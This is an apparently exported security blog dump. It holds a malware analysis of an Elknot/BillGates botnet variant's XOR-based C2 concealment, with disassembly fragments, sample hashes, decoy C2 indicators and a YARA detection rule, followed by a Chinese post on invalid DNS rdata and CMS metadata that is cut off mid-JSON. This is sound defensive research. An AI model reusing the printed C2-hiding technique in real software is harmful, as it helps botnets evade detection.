Overview Elknot is a notorious DDoS botnet family which runs on both Linux and Windows platforms [1] [2] [3] [4]. Multiple variants have been found since its first appearance, while the most infamous variant is called BillGates by many researchers because of its characteristic use of Bill and Gates modules [5]. Besides that this variant is also highlighted in using the school-book style of RSA encryption to hide its C2 configurations including server, port, campaign name, etc. The plain configuration is made up of one or more C2 lines, with each line having the format of "< C2 ip or domain >:< C2 port >:< Is Listener ?>: < IsService ?>: < Campaign Name >:< Enable Backdoor ?> "[6]. In September 2015, we found a new elknot/BillGates variant which uses a new C2 encryption scheme while keeps the old DDoS attack functions and C&C protocols. This article will discuss the new elknot/BillGates variant with a focus on the updates from the previous one. The analysis work is mainly based on the following 2 samples: * md5: 2579aa65a28c32778790ec1c673abc49, type: ELF32:Intel80386:UNIX-SystemV. * md5: 474429d9da170e733213940acc9a2b1c, type: ftype=ELF32:Intel80386:UNIX-SystemV. New Encryption Scheme In the previous version of Elknot/BillGates samples RSA cipher text and parameters are stored in hex format string, which can be easily extracted with Linux utility like strings. To get the further plain C2 information what you need to do is just inputting the extracted cipher text to a RSA decryption tool which can be easily obtained on Internet. Since it’s not this article’s emphasis so we skip it. We have developed such a C2 extraction solution which works well on all collected BillGates samples. Figure 1, RSA cipher text and parameters in sample From September 2015, however, we began to notice that there were more and more elknot/BillGates samples from which valid C2 configurations could be extracted but the extracted C2 servers could never be successfully contacted. The most frequently extracted C2 servers were fk.appledoesnt.com and 115.231.218.64. The C2 port for fk.appledoesnt.com was always 3000, while both 8226 and 13864 were often together used for 115.231.218.64. As the abnormal cases began to accumulate, we felt obliged to have an investigation. After running the questionable samples in sandboxes, we got surprised by the fact that the really contacted C2 servers were neither fk.appledoesnt.com nor 115.231.218.64. We had to re-check our C2 extraction program but found no problems, which made us to infer that new variant might have appeared. Our inference was soon confirmed after some Bindiff and dynamic tracing work was done. A new Elknot/BillGates variant did emerge. The fake C2 servers, aka fk.appledoesnt.com and 115.231.218.64, will be replaced by the true C2’s hidden by the new encryption scheme after sample runs. This explained why they could not be successfully contacted. Further analysis shows that the new encryption scheme composes of 2 functions, which are renamed as DecryptC2Cfg and Decrypt. The entry function (aka DecryptC2Cfg) is called by CSysTool::Ikdfu94, which is responsible for decrypting the C2 configuration in old version. The following figure shows the difference between new version (the left code snippet, md5=2579aa65a28c32778790ec1c673abc49) and the old one (the right code snippet, md5=8285f35183f0341b8dfe425b7348411d) in function CSysTool::Ikdfu94. Figure 2, differences of CSysTool::Ikdfu94 functions The entry function, as shown in Figure 3, does the following things: 1, locating the cipher text. 2, calling the Decrypt function to decrypt plain C2 information. 3, jumping to CUtility::Split to split the plain C2 information by splitter of “:”. It is interesting that DecryptC2Cfg will not directly return to the calling place but jump to CUtility::Split, which indicates that the decryption code is inserted by some 3rd builder after the sample is compiled. If you look at the old version code, as shown in the right snippet of Figure 2, CUtility::Split is function that should be called at 0x8077AB4. The jump to CUtility::Split exactly accomplishes the object of replacing the fake C2 information decrypted by RSA while not interrupting the original execution flow. Other evidences for the above speculation are as follows: 1, the common shellcode technique of “call $+5” is used in DecryptC2Cfg for address locating. 2, the 2 decryption functions were both stripped, while it’s not true for all the other functions. Figure 3, new encryption scheme’s entry function The Decrypt function is illustrated in Figure 4. It has a fixed cipher text (0x40 here). The core operation is getting each plain byte by XORing current byte with its next neighboring one. *Figure 4, CFG of Decrypt() function * There exists another version of DecryptC2Cfg as that found in sample md5=474429d9da170e733213940acc9a2b1c. The difference is that the addresses of cipher text and flag are hardcoded. *Figure 5, Another version of DecryptC2Cfg() function * As for the Decrypt function, the same control flow graph was seen shared among all found samples. When analyzing the new version of samples we found that the decryption functions, aka DecrytpC2Cfg and Decrypt, are usually not inside any valid sections. The following is the code snippet found in the sample with MD5 of 474429d9da170e733213940acc9a2b1c. The code is responsible for calling the called DecryptC2Cfg with address of 0x8130800. Figure 6, The DecryptC2Cfg() function not inside valid sections It’s easy to observe the sample sections with Linux utility readelf. The following is the output of “readelf –S” for sample md5=474429d9da170e733213940acc9a2b1c. It’s obvious that the address of 0x813080 is not inside any valid sections, which provides another evidence that the decryption code is inserted by some 3rd builder. Figure 7, the address of DecryptC2Cfg outside of valid sections YARA Rule We have written a YARA rule according to the 2 cases of DecryptC2Cfg functions as follows. rule elknot_xor : ELF PE DDoS XOR BillGates { meta: author = "[email protected]" description = "elknot/Billgates variants with XOR like C2 encryption scheme" date = "2015-09-12" strings: //md5=474429d9da170e733213940acc9a2b1c /* seg000:08130801 68 00 09 13 08 push offset dword_8130900 seg000:08130806 83 3D 30 17 13 08 02 cmp ds:dword_8131730, 2 seg000:0813080D 75 07 jnz short loc_8130816 seg000:0813080F 81 04 24 00 01 00 00 add dword ptr [esp], 100h seg000:08130816 loc_8130816: seg000:08130816 50 push eax seg000:08130817 E8 15 00 00 00 call sub_8130831 seg000:0813081C E9 C8 F6 F5 FF jmp near ptr 808FEE9h */ $decrypt_c2_func_1 = {08 83 [5] 02 75 07 81 04 24 00 01 00 00 50 e8 [4] e9} // md5=2579aa65a28c32778790ec1c673abc49 /* .rodata:08104D20 E8 00 00 00 00 call $+5 .rodata:08104D25 87 1C 24 xchg ebx, [esp+4+var_4] ; .rodata:08104D28 83 EB 05 sub ebx, 5 .rodata:08104D2B 8D 83 00 FD FF FF lea eax, [ebx-300h] .rodata:08104D31 83 BB 10 CA 02 00 02 cmp dword ptr [ebx+2CA10h], 2 .rodata:08104D38 75 05 jnz short loc_8104D3F .rodata:08104D3A 05 00 01 00 00 add eax, 100h .rodata:08104D3F loc_8104D3F: .rodata:08104D3F 50 push eax .rodata:08104D40 FF 74 24 10 push [esp+8+strsVector] */ $decrypt_c2_func_2 = {e8 00 00 00 00 87 [2] 83 eb 05 8d 83 [4] 83 bb [4] 02 75 05} condition: 1 of ($decrypt_c2_func_*) } Figure 8, YARA rule to detect the mentioned variant Statistics After mining the sample database, we found that the first sample of this variant had appeared as early as April 2015. Currently there are about 750 of such samples were collected, with nearly 700 unique C2 servers extracted. We will keep on watching the growth of this notorious DDoS family in the future. Related work [1] https://www.botconf.eu/wp-content/uploads/2014/12/2014-2.10-Chinese-Chicken-Multiplatform-DDoS-Botnets.pdf [2] http://blog.malwaremustdie.org/2014/11/china-elf-botnet-malware-infection.html [3] When ELF.BillGates met Windows, https://thisissecurity.net/2015/09/30/when-elf-BillGates-met-windows/ [4] http://www.novetta.com/wp-content/uploads/2015/06/NTRG_ElasticBotnetReport_06102015.pdf [5] http://www.kernelmode.info/forum/viewtopic.php?f=16&t=3099 [6] https://www.akamai.com/us/en/multimedia/documents/state-of-the-internet/bill-gates-botnet-threat-advisory.pdf

{"version":"0.3.1","markups":[],"atoms":[],"cards":[["markdown",{"cardName":"card-markdown","markdown":"#Overview\nElknot is a notorious DDoS botnet family which runs on both Linux and Windows platforms [[1]](https://www.botconf.eu/wp-content/uploads/2014/12/2014-2.10-Chinese-Chicken-Multiplatform-DDoS-Botnets.pdf) [[2]](http://blog.malwaremustdie.org/2014/11/china-elf-botnet-malware-infection.html) [[3]](https://thisissecurity.net/2015/09/30/when-elf-BillGates-met-windows/) [[4]](http://www.novetta.com/wp-content/uploads/2015/06/NTRG_ElasticBotnetReport_06102015.pdf). Multiple variants have been found since its first appearance, while the most infamous variant is called BillGates by many researchers because of its characteristic use of Bill and Gates modules [[5]](http://www.kernelmode.info/forum/viewtopic.php?f=16&t=3099). Besides that this variant is also highlighted in using the school-book style of RSA encryption to hide its C2 configurations including server, port, campaign name, etc. The plain configuration is made up of one or more C2 lines, with each line having the format of \"*< C2 ip or domain >:< C2 port >:< Is Listener ?>: < IsService ?>: < Campaign Name >:< Enable Backdoor ?>* \"[[6]](https://www.akamai.com/us/en/multimedia/documents/state-of-the-internet/bill-gates-botnet-threat-advisory.pdf).\n\nIn September 2015, we found a new elknot/BillGates variant which uses a new C2 encryption scheme while keeps the old DDoS attack functions and C&C protocols. \n\nThis article will discuss the new elknot/BillGates variant with a focus on the updates from the previous one. The analysis work is mainly based on the following 2 samples:\n\n* md5: 2579aa65a28c32778790ec1c673abc49, type: ELF32:Intel80386:UNIX-SystemV.\n* md5: 474429d9da170e733213940acc9a2b1c, type: ftype=ELF32:Intel80386:UNIX-SystemV.\n\n#New Encryption Scheme\nIn the previous version of Elknot/BillGates samples RSA cipher text and parameters are stored in hex format string, which can be easily extracted with Linux utility like *strings*. To get the further plain C2 information what you need to do is just inputting the extracted cipher text to a RSA decryption tool which can be easily obtained on Internet. Since it’s not this article’s emphasis so we skip it. We have developed such a C2 extraction solution which works well on all collected BillGates samples. \n\n\n*Figure 1, RSA cipher text and parameters in sample*\n\nFrom September 2015, however, we began to notice that there were more and more elknot/BillGates samples from which valid C2 configurations could be extracted but the extracted C2 servers could never be successfully contacted. The most frequently extracted C2 servers were fk.appledoesnt.com and 115.231.218.64. The C2 port for fk.appledoesnt.com was always 3000, while both 8226 and 13864 were often together used for 115.231.218.64. As the abnormal cases began to accumulate, we felt obliged to have an investigation. After running the questionable samples in sandboxes, we got surprised by the fact that the really contacted C2 servers were neither fk.appledoesnt.com nor 115.231.218.64. We had to re-check our C2 extraction program but found no problems, which made us to infer that new variant might have appeared.\n\nOur inference was soon confirmed after some Bindiff and dynamic tracing work was done. A new Elknot/BillGates variant did emerge. The fake C2 servers, aka fk.appledoesnt.com and 115.231.218.64, will be replaced by the true C2’s hidden by the new encryption scheme after sample runs. This explained why they could not be successfully contacted.\n\nFurther analysis shows that the new encryption scheme composes of 2 functions, which are renamed as DecryptC2Cfg and Decrypt. The entry function (aka DecryptC2Cfg) is called by CSysTool::Ikdfu94, which is responsible for decrypting the C2 configuration in old version. The following figure shows the difference between new version (the left code snippet, md5=2579aa65a28c32778790ec1c673abc49) and the old one (the right code snippet, md5=8285f35183f0341b8dfe425b7348411d) in function CSysTool::Ikdfu94.\n\n\n*Figure 2, differences of CSysTool::Ikdfu94 functions*\n\nThe entry function, as shown in Figure 3, does the following things:\n1, locating the cipher text.\n2, calling the Decrypt function to decrypt plain C2 information. \n3, jumping to CUtility::Split to split the plain C2 information by splitter of “:”.\n\nIt is interesting that DecryptC2Cfg will not directly return to the calling place but jump to CUtility::Split, which indicates that the decryption code is inserted by some 3rd builder after the sample is compiled. If you look at the old version code, as shown in the right snippet of Figure 2, CUtility::Split is function that should be called at 0x8077AB4. The jump to CUtility::Split exactly accomplishes the object of replacing the fake C2 information decrypted by RSA while not interrupting the original execution flow. Other evidences for the above speculation are as follows:\n1, the common shellcode technique of “call $+5” is used in DecryptC2Cfg for address locating.\n2, the 2 decryption functions were both stripped, while it’s not true for all the other functions. \n\n\n*Figure 3, new encryption scheme’s entry function*\n\nThe Decrypt function is illustrated in Figure 4. It has a fixed cipher text (0x40 here). The core operation is getting each plain byte by XORing current byte with its next neighboring one.\n\n\n*Figure 4, CFG of Decrypt() function *\n\nThere exists another version of DecryptC2Cfg as that found in sample md5=474429d9da170e733213940acc9a2b1c. The difference is that the addresses of cipher text and flag are hardcoded. \n\n\n*Figure 5, Another version of DecryptC2Cfg() function *\n\nAs for the Decrypt function, the same control flow graph was seen shared among all found samples. \n\nWhen analyzing the new version of samples we found that the decryption functions, aka DecrytpC2Cfg and Decrypt, are usually not inside any valid sections. The following is the code snippet found in the sample with MD5 of 474429d9da170e733213940acc9a2b1c. The code is responsible for calling the called DecryptC2Cfg with address of 0x8130800.\n\n\n*Figure 6, The DecryptC2Cfg() function not inside valid sections*\n\nIt’s easy to observe the sample sections with Linux utility *readelf*. The following is the output of “readelf –S” for sample md5=474429d9da170e733213940acc9a2b1c. It’s obvious that the address of 0x813080 is not inside any valid sections, which provides another evidence that the decryption code is inserted by some 3rd builder.\n\n\n*Figure 7, the address of DecryptC2Cfg outside of valid sections*\n\n#YARA Rule\nWe have written a YARA rule according to the 2 cases of DecryptC2Cfg functions as follows.\n\n```\nrule elknot_xor : ELF PE DDoS XOR BillGates \n{\nmeta:\n author = \"[email protected]\"\n description = \"elknot/Billgates variants with XOR like C2 encryption scheme\"\n date = \"2015-09-12\"\n\nstrings:\n //md5=474429d9da170e733213940acc9a2b1c\n /*\n seg000:08130801 68 00 09 13 08 push offset dword_8130900\n seg000:08130806 83 3D 30 17 13 08 02 cmp ds:dword_8131730, 2\n seg000:0813080D 75 07 jnz short loc_8130816\n seg000:0813080F 81 04 24 00 01 00 00 add dword ptr [esp], 100h\n seg000:08130816 loc_8130816: \n seg000:08130816 50 push eax\n seg000:08130817 E8 15 00 00 00 call sub_8130831\n seg000:0813081C E9 C8 F6 F5 FF jmp near ptr 808FEE9h\n */\n $decrypt_c2_func_1 = {08 83 [5] 02 75 07 81 04 24 00 01 00 00 50 e8 [4] e9}\n\n // md5=2579aa65a28c32778790ec1c673abc49\n /*\n .rodata:08104D20 E8 00 00 00 00 call $+5\n .rodata:08104D25 87 1C 24 xchg ebx, [esp+4+var_4] ;\n .rodata:08104D28 83 EB 05 sub ebx, 5\n .rodata:08104D2B 8D 83 00 FD FF FF lea eax, [ebx-300h]\n .rodata:08104D31 83 BB 10 CA 02 00 02 cmp dword ptr [ebx+2CA10h], 2\n .rodata:08104D38 75 05 jnz short loc_8104D3F\n .rodata:08104D3A 05 00 01 00 00 add eax, 100h\n .rodata:08104D3F loc_8104D3F: \n .rodata:08104D3F 50 push eax\n .rodata:08104D40 FF 74 24 10 push [esp+8+strsVector]\n */\n $decrypt_c2_func_2 = {e8 00 00 00 00 87 [2] 83 eb 05 8d 83 [4] 83 bb [4] 02 75 05}\n\ncondition:\n 1 of ($decrypt_c2_func_*)\n}\n\n```\n\n*Figure 8, YARA rule to detect the mentioned variant*\n\n#Statistics\nAfter mining the sample database, we found that the first sample of this variant had appeared as early as April 2015. Currently there are about 750 of such samples were collected, with nearly 700 unique C2 servers extracted. We will keep on watching the growth of this notorious DDoS family in the future.\n\n#Related work\n[1] https://www.botconf.eu/wp-content/uploads/2014/12/2014-2.10-Chinese-Chicken-Multiplatform-DDoS-Botnets.pdf\n\n[2] http://blog.malwaremustdie.org/2014/11/china-elf-botnet-malware-infection.html\n\n[3] When ELF.BillGates met Windows, https://thisissecurity.net/2015/09/30/when-elf-BillGates-met-windows/\n\n[4] http://www.novetta.com/wp-content/uploads/2015/06/NTRG_ElasticBotnetReport_06102015.pdf\n\n[5] http://www.kernelmode.info/forum/viewtopic.php?f=16&t=3099\n\n[6] https://www.akamai.com/us/en/multimedia/documents/state-of-the-internet/bill-gates-botnet-threat-advisory.pdf\n"}]],"sections":[[10,0]],"ghostVersion":"3.0"}

16

post

2016-10-09T02:39:13.000Z

63873b9a8b1c1e0007f52ee7

invalid-rdata-in-dns

2018-10-06T08:54:59.000Z

public

published

2016-10-09T03:08:28.000Z

DNS中的“无效Rdata”

<!--kg-card-begin: markdown--><p>所谓Rdata是指在DNS记录中与类型相关的数据部分。比如对于DNS的A记录中的IPv4地址或者MX记录中的主机名及其优先级。</p> <p>在分析DNS的数据过程中，常常能见到各种不同种类的怪异的Rdata。我们把不能有效反应域名和rdata的对应关系的数据称为“无效Rdata”。对这些无效Rdata进行分析是理解DNS数据的一个有趣的切入点。</p> <p>另外，结合最近火爆的威胁情报，发现很多的数据源中，都包含了这些“无效的Rdata”，它们降低了这些威胁情报的质量。因此对这些无效rdata的过滤是提高威胁情报质量的一个重要手段。</p> <p>尽管还有很多其他类型的无效的rdata，但是相比IP地址来说，其他种类的数据影响较小。因此本文主要讨论IP地址。</p> <h1 id="dnssinkholeip">DNS Sinkhole的IP地址</h1> <p>DNS Sinkhole是安全厂商为了研究恶意软件的行为，将恶意软件的网络流量进行接管的一种方式，具体参见<a href="https://en.wikipedia.org/wiki/DNS_sinkhole">wiki的定义</a>。</p> <p>从PassiveDNS中的数据来看，sinkhole的域名主要集中在使用DGA技术产生随机域名的恶意软件上。比如<a href="__GHOST_URL__/conficker-domain-abuse/">上一篇blog</a>中提到的conficker，以及大名鼎鼎的GOZ等。现在来看，多数的DGA域名都已经被不同的安全机构做了sinkhole。</p> <p>除了DGA域名之外，也有安全厂商对特定的恶意软件进行sinkhole，比如卡巴斯基就惯用这种手法对未知的恶意软件使用sinkhole对其网络行为进行研究。</p> <p>因此如果你的情报数据中出现了sinkhole的IP地址。说明在安全行为分析上面是完善的，尤其是针对恶意域名的研究是完善的，可是这种分析可能不是最新的。它已经落后于其他的某些安全机构，如果在研究过程中和这些IP有过通信（多数情况都无法正常通信），那么你的某些研究行为也可能已经暴露在那些安全机构面前。</p> <p>由于各家安全研究机构对自身的sinkhole的保密性，业界尚未有完整的sinkhole列表。但是一些安全研究机构也做了一些整理，比如abuse.ch的<a href="https://sinkdb.abuse.ch/">sinkdb</a>。</p> <h1 id="nxdomainip">NXDomain引起的虚假IP地址</h1> <p>NXDomain的含义是指对于不存在的域名，DNS系统能够返回确定的IP地址。但如果继续访问的话，这些IP地址呈现的内容往往和你想要的又完全不同。其实上一节的sinkhole也是这种情况当中的一种，只是sinkhole在安全研究方面比较特殊，我们把它单独列了出来。</p> <p>造成NXdomain有确定IP映射的原因其实不尽相同，我们列举几种比较常见的情况。</p> <h2 id="">运营商的问题</h2> <p>运营商针对不存在的域名，返回自己控制的IP以达到导流的目的，这种现象我们司空见惯。并且这种行为并不仅仅发生在国内，在全世界各地都存在这种“劫持”行为。以至于Google的chrome浏览器（以及基于chrome内核的其他浏览器）在启动的时候要<a href="https://mikewest.org/2012/02/chrome-connects-to-three-random-domains-at-startup">发送随机DNS查询</a>对这种“劫持”行为进行探测以免干扰浏览器的正常工作。</p> <p>在实际网络环境中，大量的恶意软件会产生无效域名请求，比如未被sinkhole或者sinkhole不完全的DGA域名等。另外各种扫描器以及形如散列前缀攻击的攻击行为都会产生大量的无效域名请求。</p> <p>如果不加筛选将这种IP列入分析结果，输出为IP黑名单。尽管实际用户使用可能危害并不明显，但是准确度却打了折扣。尤其是在涉及到僵尸网络的C&amp;C分析的时候，会对分析结果造成很大的挑战。</p> <h2 id="dnsresolver">DNS resolver的问题</h2> <p>也许是为了避免被运营商劫持，大量用户开始使用公开的非运营商的open resolver作为自己的DNS服务器。而现在越来越多的DNS服务器提供安全服务，而这种安全服务从技术上来看，与运营商劫持的手法相同。即它们会将其认为存在安全隐患的域名返回为一个其控制的IP地址。页面内容一般是比较显著的安全提示信息。<br> 典型的例子是OpenDNS。其提供安全服务的一个IP地址为146.112.61.105。</p> <p>同运营商的问题类似，将这类IP地址输出为IP黑名单，对实际用户并不会有太大的影响（其实会干扰这些DNS resolver的功能完整性），但是对所分析问题的准确度有影响。根据我们对PassiveDNS数据的分析，这类IP的数量不在少数。</p> <h2 id="">注册商的问题</h2> <p>如果说前两种情况发生在DNS查询过程中靠近用户这一侧，是对查询结果的劫持。那么由注册商引起的虚假应答就属于“官方作假”了。</p> <p>从技术手段上来说，实现这种“官方作假”很简单，只需要把对应域名的<a href="https://en.wikipedia.org/wiki/Wildcard_DNS_record">泛解析</a>开启即可。</p> <h3 id="tld">顶级域（TLD）级别</h3> <p>在我们的印象中，TLD的管理应该是合规慎重的。因此第一次了解到泛解析开在TLD级别上还是有些吃惊。<br> 现在发现至少ws、sy、ph这几个ccTLD是开启泛解析的。因此如果在分析域名时，发现TLD为这几个后缀的域名，还请留意一下是否为泛解析的IP地址。一个典型的例子银行木马是<a href="http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/dyre-emerging-threat.pdf">dyre</a>的DGA域名有的是以ws作为TLD，显然它们都会有有效的解析地址，但并不是真正的C&amp;C地址。</p> <p>随着ICANN开放TLD的注册，现在越来越多的TLD可供选择。也许为了利益的目的，在TLD上开放泛解析的行为也必然会越来越多。</p> <h1 id="ip">特殊用途的IP</h1> <h2 id="111122228888114114114114">形如1.1.1.1/2.2.2.2/8.8.8.8/114.114.114.114等</h2> <p>如果在PassiveDNS中以类似如上IP进行查询，能够发现大量的域名与这些IP存在对应关系。尽管这些IP中有些并不可达，比如1.1.1.1，2.2.2.2；有些则完全另有他用，比如8.8.8.8, 114.114.114.114都是知名的DNS resolver。</p> <p>造成这种对应关系的原因有多种：一种可能是管理员用于测试的配置，还有一种可能是某些DNS服务器在检测到攻击之后，对某些请求返回一些知名的地址。比如我们见到针对DNS的散列前缀攻击，有些DNS服务器对散列前缀的域名返回8.8.8.8以及8.8.4.4的情况。</p> <p>要说明的是第二种情况是必须禁止的，某些情况下，错误的返回会导致返回地址遭到大流量的DDoS攻击。这种情况在真实环境中出现过。</p> <h2 id="">保留地址</h2> <p>最常见的保留地址就是我们熟悉的私网地址：10.0.0.0/8，172.16.0.0/12，192.168.0.0/16。它们在PassiveDNS中作为rdata并不罕见。显然这是内网数据泄漏的典型，将内网的网络拓扑一览无余的对外暴露了。</p> <p>其他的保留地址也有出现，比如传统意义上的D类和E类地址，以及用于TEST-NET的保留地址等。<br> 完整的保留地址参见wiki的<a href="https://en.wikipedia.org/wiki/Reserved_IP_addresses">保留地址列表</a>。</p> <p>同上一节的原因相同，造成这种问题的原因既有可能是配置错误，也有可能是一种安全防御手段。作为一种安全防御手段，尽管用保留地址在某种意义上来说比胡乱指向其它的有效IP更为保险，但是这种行为仍不建议。</p> <h1 id="">结束语</h1> <p>这篇文章简单的列举了几类无效rdata的情况。它们可能是造成黑名单不准确的一个因素。当然，还有很多其他的因素也有可能对rdata的准确度造成影响，比如国家防火墙造成的域名IP的映射混乱，比如虚拟主机提供商所造成数据准确度的偏差以及那些我们尚未认识到的原因造成的数据错误等等。这里我们无法对每种原因都进行详细的说明，但是在数据分析的过程中需要我们不断的对每种情况进行分析才有可能认清网络世界，同时才能够产生高质量的数据。</p> <p>文中提到的这些数据，<a href="http://netlab.360.com/">360网络安全研究院</a>都有整理。任何想法都欢迎与我们交流。</p> <!--kg-card-end: markdown-->

所谓Rdata是指在DNS记录中与类型相关的数据部分。比如对于DNS的A记录中的IPv4地址或者MX记录中的主机名及其优先级。 在分析DNS的数据过程中，常常能见到各种不同种类的怪异的Rdata。我们把不能有效反应域名和rdata的对应关系的数据称为“无效Rdata”。对这些无效Rdata进行分析是理解DNS数据的一个有趣的切入点。 另外，结合最近火爆的威胁情报，发现很多的数据源中，都包含了这些“无效的Rdata”，它们降低了这些威胁情报的质量。因此对这些无效rdata的过滤是提高威胁情报质量的一个重要手段。 尽管还有很多其他类型的无效的rdata，但是相比IP地址来说，其他种类的数据影响较小。因此本文主要讨论IP地址。 DNS Sinkhole的IP地址 DNS Sinkhole是安全厂商为了研究恶意软件的行为，将恶意软件的网络流量进行接管的一种方式，具体参见wiki的定义。 从PassiveDNS中的数据来看，sinkhole的域名主要集中在使用DGA技术产生随机域名的恶意软件上。比如上一篇blog中提到的conficker，以及大名鼎鼎的GOZ等。现在来看，多数的DGA域名都已经被不同的安全机构做了sinkhole。 除了DGA域名之外，也有安全厂商对特定的恶意软件进行sinkhole，比如卡巴斯基就惯用这种手法对未知的恶意软件使用sinkhole对其网络行为进行研究。 因此如果你的情报数据中出现了sinkhole的IP地址。说明在安全行为分析上面是完善的，尤其是针对恶意域名的研究是完善的，可是这种分析可能不是最新的。它已经落后于其他的某些安全机构，如果在研究过程中和这些IP有过通信（多数情况都无法正常通信），那么你的某些研究行为也可能已经暴露在那些安全机构面前。 由于各家安全研究机构对自身的sinkhole的保密性，业界尚未有完整的sinkhole列表。但是一些安全研究机构也做了一些整理，比如abuse.ch的sinkdb。 NXDomain引起的虚假IP地址 NXDomain的含义是指对于不存在的域名，DNS系统能够返回确定的IP地址。但如果继续访问的话，这些IP地址呈现的内容往往和你想要的又完全不同。其实上一节的sinkhole也是这种情况当中的一种，只是sinkhole在安全研究方面比较特殊，我们把它单独列了出来。 造成NXdomain有确定IP映射的原因其实不尽相同，我们列举几种比较常见的情况。 运营商的问题 运营商针对不存在的域名，返回自己控制的IP以达到导流的目的，这种现象我们司空见惯。并且这种行为并不仅仅发生在国内，在全世界各地都存在这种“劫持”行为。以至于Google的chrome浏览器（以及基于chrome内核的其他浏览器）在启动的时候要发送随机DNS查询对这种“劫持”行为进行探测以免干扰浏览器的正常工作。 在实际网络环境中，大量的恶意软件会产生无效域名请求，比如未被sinkhole或者sinkhole不完全的DGA域名等。另外各种扫描器以及形如散列前缀攻击的攻击行为都会产生大量的无效域名请求。 如果不加筛选将这种IP列入分析结果，输出为IP黑名单。尽管实际用户使用可能危害并不明显，但是准确度却打了折扣。尤其是在涉及到僵尸网络的C&C分析的时候，会对分析结果造成很大的挑战。 DNS resolver的问题 也许是为了避免被运营商劫持，大量用户开始使用公开的非运营商的open resolver作为自己的DNS服务器。而现在越来越多的DNS服务器提供安全服务，而这种安全服务从技术上来看，与运营商劫持的手法相同。即它们会将其认为存在安全隐患的域名返回为一个其控制的IP地址。页面内容一般是比较显著的安全提示信息。 典型的例子是OpenDNS。其提供安全服务的一个IP地址为146.112.61.105。 同运营商的问题类似，将这类IP地址输出为IP黑名单，对实际用户并不会有太大的影响（其实会干扰这些DNS resolver的功能完整性），但是对所分析问题的准确度有影响。根据我们对PassiveDNS数据的分析，这类IP的数量不在少数。 注册商的问题 如果说前两种情况发生在DNS查询过程中靠近用户这一侧，是对查询结果的劫持。那么由注册商引起的虚假应答就属于“官方作假”了。 从技术手段上来说，实现这种“官方作假”很简单，只需要把对应域名的泛解析开启即可。 顶级域（TLD）级别 在我们的印象中，TLD的管理应该是合规慎重的。因此第一次了解到泛解析开在TLD级别上还是有些吃惊。 现在发现至少ws、sy、ph这几个ccTLD是开启泛解析的。因此如果在分析域名时，发现TLD为这几个后缀的域名，还请留意一下是否为泛解析的IP地址。一个典型的例子银行木马是dyre的DGA域名有的是以ws作为TLD，显然它们都会有有效的解析地址，但并不是真正的C&C地址。 随着ICANN开放TLD的注册，现在越来越多的TLD可供选择。也许为了利益的目的，在TLD上开放泛解析的行为也必然会越来越多。 特殊用途的IP 形如1.1.1.1/2.2.2.2/8.8.8.8/114.114.114.114等 如果在PassiveDNS中以类似如上IP进行查询，能够发现大量的域名与这些IP存在对应关系。尽管这些IP中有些并不可达，比如1.1.1.1，2.2.2.2；有些则完全另有他用，比如8.8.8.8, 114.114.114.114都是知名的DNS resolver。 造成这种对应关系的原因有多种：一种可能是管理员用于测试的配置，还有一种可能是某些DNS服务器在检测到攻击之后，对某些请求返回一些知名的地址。比如我们见到针对DNS的散列前缀攻击，有些DNS服务器对散列前缀的域名返回8.8.8.8以及8.8.4.4的情况。 要说明的是第二种情况是必须禁止的，某些情况下，错误的返回会导致返回地址遭到大流量的DDoS攻击。这种情况在真实环境中出现过。 保留地址 最常见的保留地址就是我们熟悉的私网地址：10.0.0.0/8，172.16.0.0/12，192.168.0.0/16。它们在PassiveDNS中作为rdata并不罕见。显然这是内网数据泄漏的典型，将内网的网络拓扑一览无余的对外暴露了。 其他的保留地址也有出现，比如传统意义上的D类和E类地址，以及用于TEST-NET的保留地址等。 完整的保留地址参见wiki的保留地址列表。 同上一节的原因相同，造成这种问题的原因既有可能是配置错误，也有可能是一种安全防御手段。作为一种安全防御手段，尽管用保留地址在某种意义上来说比胡乱指向其它的有效IP更为保险，但是这种行为仍不建议。 结束语 这篇文章简单的列举了几类无效rdata的情况。它们可能是造成黑名单不准确的一个因素。当然，还有很多其他的因素也有可能对rdata的准确度造成影响，比如国家防火墙造成的域名IP的映射混乱，比如虚拟主机提供商所造成数据准确度的偏差以及那些我们尚未认识到的原因造成的数据错误等等。这里我们无法对每种原因都进行详细的说明，但是在数据分析的过程中需要我们不断的对每种情况进行分析才有可能认清网络世界，同时才能够产生高质量的数据。 文中提到的这些数据，360网络安全研究院都有整理。任何想法都欢迎与我们交流。

{"version":"0.3.1","markups":[],"atoms":[],"cards":[["markdown",{"cardName":"card-markdown","markdown":"所谓Rdata是指在DNS记录中与类型相关的数据部分。比如对于DNS的A记录中的IPv4地址或者MX记录中的主机名及其优先级。\n\n在分析DNS的数据过程中，常常能见到各种不同种类的怪异的Rdata。我们把不能有效反应域名和rdata的对应关系的数据称为“无效Rdata”。对这些无效Rdata进行分析是理解DNS数据的一个有趣的切入点。\n\n另外，结合最近火爆的威胁情报，发现很多的数据源中，都包含了这些“无效的Rdata”，它们降低了这些威胁情报的质量。因此对这些无效rdata的过滤是提高威胁情报质量的一个重要手段。\n\n尽管还有很多其他类型的无效的rdata，但是相比IP地址来说，其他种类的数据影响较小。因此本文主要讨论IP地址。\n\n#DNS Sinkhole的IP地址\nDNS Sinkhole是安全厂商为了研究恶意软件的行为，将恶意软件的网络流量进行接管的一种方式，具体参见[wiki的定义](https://en.wikipedia.org/wiki/DNS_sinkhole)。\n\n从PassiveDNS中的数据来看，sinkhole的域名主要集中在使用DGA技术产生随机域名的恶意软件上。比如[上一篇blog](__GHOST_URL__/conficker-domain-abuse/)中提到的conficker，以及大名鼎鼎的GOZ等。现在来看，多数的DGA域名都已经被不同的安全机构做了sinkhole。\n\n除了DGA域名之外，也有安全厂商对特定的恶意软件进行sinkhole，比如卡巴斯基就惯用这种手法对未知的恶意软件使用sinkhole对其网络行为进行研究。\n\n因此如果你的情报数据中出现了sinkhole的IP地址。说明在安全行为分析上面是完善的，尤其是针对恶意域名的研究是完善的，可是这种分析可能不是最新的。它已经落后于其他的某些安全机构，如果在研究过程中和这些IP有过通信（多数情况都无法正常通信），那么你的某些研究行为也可能已经暴露在那些安全机构面前。\n\n由于各家安全研究机构对自身的sinkhole的保密性，业界尚未有完整的sinkhole列表。但是一些安全研究机构也做了一些整理，比如abuse.ch的[sinkdb](https://sinkdb.abuse.ch/)。 